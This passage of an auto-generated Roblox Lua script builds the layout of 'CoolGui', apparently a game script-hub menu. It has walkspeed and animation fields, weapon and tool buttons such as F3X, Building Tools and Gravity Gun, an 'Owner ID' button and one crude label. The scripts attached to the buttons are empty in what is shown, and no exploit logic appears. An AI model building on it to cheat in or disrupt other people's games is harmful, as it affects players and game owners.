G2L["69"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["69"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["69"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["69"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["69"]["Text"] = [[Animation ID]];
G2L["69"]["Name"] = [[Label]];
G2L["69"]["Position"] = UDim2.new(0, 0, 0.22449, 0);
-- StarterGui.CoolGui.Frame.Settings.Page2.Section1.Label
G2L["6a"] = Instance.new("TextLabel", G2L["65"]);
G2L["6a"]["BorderSizePixel"] = 3;
G2L["6a"]["TextSize"] = 14;
G2L["6a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["6a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["6a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["6a"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["6a"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["6a"]["Text"] = [[Animation Speed]];
G2L["6a"]["Name"] = [[Label]];
G2L["6a"]["Position"] = UDim2.new(0, 0, 0.44898, 0);
-- StarterGui.CoolGui.Frame.Settings.Page2.Section1.Label
G2L["6b"] = Instance.new("TextLabel", G2L["65"]);
G2L["6b"]["BorderSizePixel"] = 3;
G2L["6b"]["TextSize"] = 14;
G2L["6b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["6b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["6b"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["6b"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["6b"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["6b"]["Text"] = [[Walkspeed Amount]];
G2L["6b"]["Name"] = [[Label]];
G2L["6b"]["Position"] = UDim2.new(0, 0, 0.67347, 0);
-- StarterGui.CoolGui.Frame.Settings.Page2.Section1.walkid
G2L["6c"] = Instance.new("TextBox", G2L["65"]);
G2L["6c"]["Name"] = [[walkid]];
G2L["6c"]["BorderSizePixel"] = 3;
G2L["6c"]["TextSize"] = 14;
G2L["6c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["6c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["6c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["6c"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["6c"]["Position"] = UDim2.new(0, 0, 0, 231);
G2L["6c"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["6c"]["Text"] = [[50]];
-- StarterGui.CoolGui.Frame.Settings.Page2.Section1.gee
G2L["6d"] = Instance.new("TextBox", G2L["65"]);
G2L["6d"]["Name"] = [[gee]];
G2L["6d"]["BorderSizePixel"] = 3;
G2L["6d"]["TextSize"] = 14;
G2L["6d"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["6d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["6d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["6d"]["Size"] = UDim2.new(0.333, 0, 0, 30);
G2L["6d"]["Position"] = UDim2.new(0, 49, 0, 33);
G2L["6d"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["6d"]["Text"] = [[255]];
-- StarterGui.CoolGui.Frame.Settings.Page2.Section1.bee
G2L["6e"] = Instance.new("TextBox", G2L["65"]);
G2L["6e"]["Name"] = [[bee]];
G2L["6e"]["BorderSizePixel"] = 3;
G2L["6e"]["TextSize"] = 14;
G2L["6e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["6e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["6e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["6e"]["Size"] = UDim2.new(0.315, 0, 0, 30);
G2L["6e"]["Position"] = UDim2.new(0, 101, 0, 33);
G2L["6e"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["6e"]["Text"] = [[0]];
-- StarterGui.CoolGui.Frame.Settings.Page2.Section1.asid
G2L["6f"] = Instance.new("TextBox", G2L["65"]);
G2L["6f"]["Name"] = [[asid]];
G2L["6f"]["BorderSizePixel"] = 3;
G2L["6f"]["TextSize"] = 14;
G2L["6f"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["6f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["6f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["6f"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["6f"]["Position"] = UDim2.new(0, 0, 0, 165);
G2L["6f"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["6f"]["Text"] = [[1]];
-- StarterGui.CoolGui.Frame.Page2
G2L["70"] = Instance.new("Frame", G2L["2"]);
G2L["70"]["Visible"] = false;
G2L["70"]["ZIndex"] = 2;
G2L["70"]["BorderSizePixel"] = 3;
G2L["70"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["70"]["Size"] = UDim2.new(1, 0, 1, -106);
G2L["70"]["Position"] = UDim2.new(0, 0, 0, 83);
G2L["70"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["70"]["Name"] = [[Page2]];
-- StarterGui.CoolGui.Frame.Page2.PageLabel
G2L["71"] = Instance.new("TextLabel", G2L["70"]);
G2L["71"]["ZIndex"] = 2;
G2L["71"]["BorderSizePixel"] = 3;
G2L["71"]["TextSize"] = 14;
G2L["71"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["71"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["71"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["71"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["71"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["71"]["Text"] = [[Page 2]];
G2L["71"]["Name"] = [[PageLabel]];
G2L["71"]["Position"] = UDim2.new(0, 0, 1, -30);
-- StarterGui.CoolGui.Frame.Page2.Section2
G2L["72"] = Instance.new("Frame", G2L["70"]);
G2L["72"]["Active"] = true;
G2L["72"]["BorderSizePixel"] = 3;
G2L["72"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["72"]["Size"] = UDim2.new(0.5, -3, 1, 0);
G2L["72"]["Position"] = UDim2.new(0.5, 3, 0, 0);
G2L["72"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["72"]["Name"] = [[Section2]];
-- StarterGui.CoolGui.Frame.Page2.Section2.SectionTitle
G2L["73"] = Instance.new("TextLabel", G2L["72"]);
G2L["73"]["BorderSizePixel"] = 3;
G2L["73"]["TextSize"] = 14;
G2L["73"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["73"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["73"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["73"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["73"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["73"]["Text"] = [[Gear/Tools]];
G2L["73"]["Name"] = [[SectionTitle]];
-- StarterGui.CoolGui.Frame.Page2.Section2.Button
G2L["74"] = Instance.new("TextButton", G2L["72"]);
G2L["74"]["BorderSizePixel"] = 3;
G2L["74"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["74"]["TextSize"] = 14;
G2L["74"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["74"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["74"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["74"]["Name"] = [[Button]];
G2L["74"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["74"]["Text"] = [[F3X]];
G2L["74"]["Position"] = UDim2.new(0, 0, 0, 33);
-- StarterGui.CoolGui.Frame.Page2.Section2.Button.LocalScript
G2L["75"] = Instance.new("LocalScript", G2L["74"]);
-- StarterGui.CoolGui.Frame.Page2.Section2.Button
G2L["76"] = Instance.new("TextButton", G2L["72"]);
G2L["76"]["BorderSizePixel"] = 3;
G2L["76"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["76"]["TextSize"] = 14;
G2L["76"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["76"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["76"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["76"]["Name"] = [[Button]];
G2L["76"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["76"]["Text"] = [[Gravity Gun]];
G2L["76"]["Position"] = UDim2.new(0, 0, 0, 66);
-- StarterGui.CoolGui.Frame.Page2.Section2.Button.LocalScript
G2L["77"] = Instance.new("LocalScript", G2L["76"]);
-- StarterGui.CoolGui.Frame.Page2.Section2.Button
G2L["78"] = Instance.new("TextButton", G2L["72"]);
G2L["78"]["BorderSizePixel"] = 3;
G2L["78"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["78"]["TextSize"] = 14;
G2L["78"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["78"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["78"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["78"]["Name"] = [[Button]];
G2L["78"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["78"]["Text"] = [[Jerk Off]];
G2L["78"]["Position"] = UDim2.new(0, 0, 0, 99);
-- StarterGui.CoolGui.Frame.Page2.Section2.Button.LocalScript
G2L["79"] = Instance.new("LocalScript", G2L["78"]);
-- StarterGui.CoolGui.Frame.Page2.Section2.Button
G2L["7a"] = Instance.new("TextButton", G2L["72"]);
G2L["7a"]["BorderSizePixel"] = 3;
G2L["7a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["7a"]["TextSize"] = 14;
G2L["7a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["7a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["7a"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["7a"]["Name"] = [[Button]];
G2L["7a"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["7a"]["Text"] = [[Punch]];
G2L["7a"]["Position"] = UDim2.new(0, 73, 0, 66);
-- StarterGui.CoolGui.Frame.Page2.Section2.Button.LocalScript
G2L["7b"] = Instance.new("LocalScript", G2L["7a"]);
-- StarterGui.CoolGui.Frame.Page2.Section2.Button
G2L["7c"] = Instance.new("TextButton", G2L["72"]);
G2L["7c"]["BorderSizePixel"] = 3;
G2L["7c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["7c"]["TextSize"] = 14;
G2L["7c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["7c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["7c"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["7c"]["Name"] = [[Button]];
G2L["7c"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["7c"]["Text"] = [[Linked Sword]];
G2L["7c"]["Position"] = UDim2.new(0, 73, 0, 99);
-- StarterGui.CoolGui.Frame.Page2.Section2.Button.LocalScript
G2L["7d"] = Instance.new("LocalScript", G2L["7c"]);
-- StarterGui.CoolGui.Frame.Page2.Section2.Button
G2L["7e"] = Instance.new("TextButton", G2L["72"]);
G2L["7e"]["TextWrapped"] = true;
G2L["7e"]["BorderSizePixel"] = 3;
G2L["7e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["7e"]["TextSize"] = 14;
G2L["7e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["7e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["7e"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["7e"]["Name"] = [[Button]];
G2L["7e"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["7e"]["Text"] = [[Building Tools]];
G2L["7e"]["Position"] = UDim2.new(0, 73, 0, 33);
-- StarterGui.CoolGui.Frame.Page2.Section2.Button.LocalScript
G2L["7f"] = Instance.new("LocalScript", G2L["7e"]);
-- StarterGui.CoolGui.Frame.Page2.Section2.Button
G2L["80"] = Instance.new("TextButton", G2L["72"]);
G2L["80"]["BorderSizePixel"] = 3;
G2L["80"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["80"]["TextSize"] = 14;
G2L["80"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["80"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["80"]["Size"] = UDim2.new(0.475, 0, 0, 30);
G2L["80"]["Name"] = [[Button]];
G2L["80"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["80"]["Text"] = [[Draw3D]];
G2L["80"]["Position"] = UDim2.new(0, 0, 0, 132);
-- StarterGui.CoolGui.Frame.Page2.Section2.Button.LocalScript
G2L["81"] = Instance.new("LocalScript", G2L["80"]);
-- StarterGui.CoolGui.Frame.Page2.Section1
G2L["82"] = Instance.new("Frame", G2L["70"]);
G2L["82"]["Active"] = true;
G2L["82"]["BorderSizePixel"] = 3;
G2L["82"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["82"]["Size"] = UDim2.new(0.5, -3, 1, 0);
G2L["82"]["Position"] = UDim2.new(0, 3, 0, 0);
G2L["82"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["82"]["Name"] = [[Section1]];
-- StarterGui.CoolGui.Frame.Page2.Section1.SectionTitle
G2L["83"] = Instance.new("TextLabel", G2L["82"]);
G2L["83"]["BorderSizePixel"] = 3;
G2L["83"]["TextSize"] = 14;
G2L["83"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["83"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["83"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["83"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["83"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["83"]["Text"] = [[Weapon Scripts]];
G2L["83"]["Name"] = [[SectionTitle]];
-- StarterGui.CoolGui.Frame.Page2.Section1.Button
G2L["84"] = Instance.new("TextButton", G2L["82"]);
G2L["84"]["BorderSizePixel"] = 3;
G2L["84"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["84"]["TextSize"] = 14;
G2L["84"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["84"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["84"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["84"]["Name"] = [[Button]];
G2L["84"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["84"]["Text"] = [[Thanatos]];
G2L["84"]["Position"] = UDim2.new(0, 0, 0, 33);
-- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript
G2L["85"] = Instance.new("LocalScript", G2L["84"]);
-- StarterGui.CoolGui.Frame.Page2.Section1.Button
G2L["86"] = Instance.new("TextButton", G2L["82"]);
G2L["86"]["BorderSizePixel"] = 3;
G2L["86"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["86"]["TextSize"] = 14;
G2L["86"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["86"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["86"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["86"]["Name"] = [[Button]];
G2L["86"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["86"]["Text"] = [[Drage]];
G2L["86"]["Position"] = UDim2.new(0, 0, 0, 66);
-- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript
G2L["87"] = Instance.new("LocalScript", G2L["86"]);
-- StarterGui.CoolGui.Frame.Page2.Section1.Button
G2L["88"] = Instance.new("TextButton", G2L["82"]);
G2L["88"]["TextWrapped"] = true;
G2L["88"]["BorderSizePixel"] = 3;
G2L["88"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["88"]["TextSize"] = 14;
G2L["88"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["88"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["88"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["88"]["Name"] = [[Button]];
G2L["88"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["88"]["Text"] = [[Shedletsky Rage]];
G2L["88"]["Position"] = UDim2.new(0, 0, 0, 99);
-- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript
G2L["89"] = Instance.new("LocalScript", G2L["88"]);
-- StarterGui.CoolGui.Frame.Page2.Section1.Button
G2L["8a"] = Instance.new("TextButton", G2L["82"]);
G2L["8a"]["TextWrapped"] = true;
G2L["8a"]["BorderSizePixel"] = 3;
G2L["8a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["8a"]["TextSize"] = 14;
G2L["8a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["8a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["8a"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["8a"]["Name"] = [[Button]];
G2L["8a"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["8a"]["Text"] = [[Illuminati Laser]];
G2L["8a"]["Position"] = UDim2.new(0, 0, 0, 132);
-- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript
G2L["8b"] = Instance.new("LocalScript", G2L["8a"]);
-- StarterGui.CoolGui.Frame.Page2.Section1.Button
G2L["8c"] = Instance.new("TextButton", G2L["82"]);
G2L["8c"]["BorderSizePixel"] = 3;
G2L["8c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["8c"]["TextSize"] = 14;
G2L["8c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["8c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["8c"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["8c"]["Name"] = [[Button]];
G2L["8c"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["8c"]["Text"] = [[Staff]];
G2L["8c"]["Position"] = UDim2.new(0, 0, 0, 165);
-- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript
G2L["8d"] = Instance.new("LocalScript", G2L["8c"]);
-- StarterGui.CoolGui.Frame.Page2.Section1.Button
G2L["8e"] = Instance.new("TextButton", G2L["82"]);
G2L["8e"]["BorderSizePixel"] = 3;
G2L["8e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["8e"]["TextSize"] = 14;
G2L["8e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["8e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["8e"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["8e"]["Name"] = [[Button]];
G2L["8e"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["8e"]["Text"] = [[Lua Hammer]];
G2L["8e"]["Position"] = UDim2.new(0, 73, 0, 66);
-- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript
G2L["8f"] = Instance.new("LocalScript", G2L["8e"]);
-- StarterGui.CoolGui.Frame.Page2.Section1.Button
G2L["90"] = Instance.new("TextButton", G2L["82"]);
G2L["90"]["BorderSizePixel"] = 3;
G2L["90"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["90"]["TextSize"] = 14;
G2L["90"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["90"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["90"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["90"]["Name"] = [[Button]];
G2L["90"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["90"]["Text"] = [[Lightsaber]];
G2L["90"]["Position"] = UDim2.new(0, 73, 0, 99);
-- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript
G2L["91"] = Instance.new("LocalScript", G2L["90"]);
-- StarterGui.CoolGui.Frame.Page2.Section1.Button
G2L["92"] = Instance.new("TextButton", G2L["82"]);
G2L["92"]["BorderSizePixel"] = 3;
G2L["92"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["92"]["TextSize"] = 14;
G2L["92"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["92"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["92"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["92"]["Name"] = [[Button]];
G2L["92"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["92"]["Text"] = [[John Doe]];
G2L["92"]["Position"] = UDim2.new(0, 73, 0, 132);
-- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript
G2L["93"] = Instance.new("LocalScript", G2L["92"]);
-- StarterGui.CoolGui.Frame.Page2.Section1.Button
G2L["94"] = Instance.new("TextButton", G2L["82"]);
G2L["94"]["BorderSizePixel"] = 3;
G2L["94"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["94"]["TextSize"] = 14;
G2L["94"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["94"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["94"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["94"]["Name"] = [[Button]];
G2L["94"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["94"]["Text"] = [[Shotgun]];
G2L["94"]["Position"] = UDim2.new(0, 73, 0, 165);
-- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript
G2L["95"] = Instance.new("LocalScript", G2L["94"]);
-- StarterGui.CoolGui.Frame.Page2.Section1.Button
G2L["96"] = Instance.new("TextButton", G2L["82"]);
G2L["96"]["TextWrapped"] = true;
G2L["96"]["BorderSizePixel"] = 3;
G2L["96"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["96"]["TextSize"] = 14;
G2L["96"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["96"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["96"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["96"]["Name"] = [[Button]];
G2L["96"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["96"]["Text"] = [[Thomas the Dank Engine]];
G2L["96"]["Position"] = UDim2.new(0, 73, 0, 33);
-- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript
G2L["97"] = Instance.new("LocalScript", G2L["96"]);
-- StarterGui.CoolGui.Frame.Page3
G2L["98"] = Instance.new("Frame", G2L["2"]);
G2L["98"]["Visible"] = false;
G2L["98"]["ZIndex"] = 2;
G2L["98"]["BorderSizePixel"] = 3;
G2L["98"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["98"]["Size"] = UDim2.new(1, 0, 1, -106);
G2L["98"]["Position"] = UDim2.new(0, 0, 0, 83);
G2L["98"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["98"]["Name"] = [[Page3]];
-- StarterGui.CoolGui.Frame.Page3.PageLabel
G2L["99"] = Instance.new("TextLabel", G2L["98"]);
G2L["99"]["ZIndex"] = 2;
G2L["99"]["BorderSizePixel"] = 3;
G2L["99"]["TextSize"] = 14;
G2L["99"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["99"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["99"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["99"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["99"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["99"]["Text"] = [[Page 3]];
G2L["99"]["Name"] = [[PageLabel]];
G2L["99"]["Position"] = UDim2.new(0, 0, 1, -30);
-- StarterGui.CoolGui.Frame.Page3.Section2
G2L["9a"] = Instance.new("Frame", G2L["98"]);
G2L["9a"]["Active"] = true;
G2L["9a"]["BorderSizePixel"] = 3;
G2L["9a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["9a"]["Size"] = UDim2.new(0.5, -3, 1, 0);
G2L["9a"]["Position"] = UDim2.new(0.5, 3, 0, 0);
G2L["9a"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["9a"]["Name"] = [[Section2]];
-- StarterGui.CoolGui.Frame.Page3.Section2.SectionTitle
G2L["9b"] = Instance.new("TextLabel", G2L["9a"]);
G2L["9b"]["BorderSizePixel"] = 3;
G2L["9b"]["TextSize"] = 14;
G2L["9b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["9b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["9b"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["9b"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["9b"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["9b"]["Text"] = [[Misc.]];
G2L["9b"]["Name"] = [[SectionTitle]];
-- StarterGui.CoolGui.Frame.Page3.Section2.Button
G2L["9c"] = Instance.new("TextButton", G2L["9a"]);
G2L["9c"]["BorderSizePixel"] = 3;
G2L["9c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["9c"]["TextSize"] = 14;
G2L["9c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["9c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["9c"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["9c"]["Name"] = [[Button]];
G2L["9c"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["9c"]["Text"] = [[Owner ID]];
G2L["9c"]["Position"] = UDim2.new(0, 0, 0, 33);
-- StarterGui.CoolGui.Frame.Page3.Section2.Button.LocalScript
G2L["9d"] = Instance.new("LocalScript", G2L["9c"]);
-- StarterGui.CoolGui.Frame.Page3.Section2.Button
G2L["9e"] = Instance.new("TextButton", G2L["9a"]);
G2L["9e"]["BorderSizePixel"] = 3;
G2L["9e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["9e"]["TextSize"] = 14;
G2L["9e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["9e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["9e"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["9e"]["Name"] = [[Button]];
G2L["9e"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["9e"]["Text"] = [[iOrb]];
G2L["9e"]["Position"] = UDim2.new(0, 0, 0, 66);
-- StarterGui.CoolGui.Frame.Page3.Section2.Button.LocalScript
G2L["9f"] = Instance.new("LocalScript", G2L["9e"]);
-- StarterGui.CoolGui.Frame.Page3.Section2.Button
G2L["a0"] = Instance.new("TextButton", G2L["9a"]);
G2L["a0"]["BorderSizePixel"] = 3;
G2L["a0"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["a0"]["TextSize"] = 14;
G2L["a0"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["a0"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
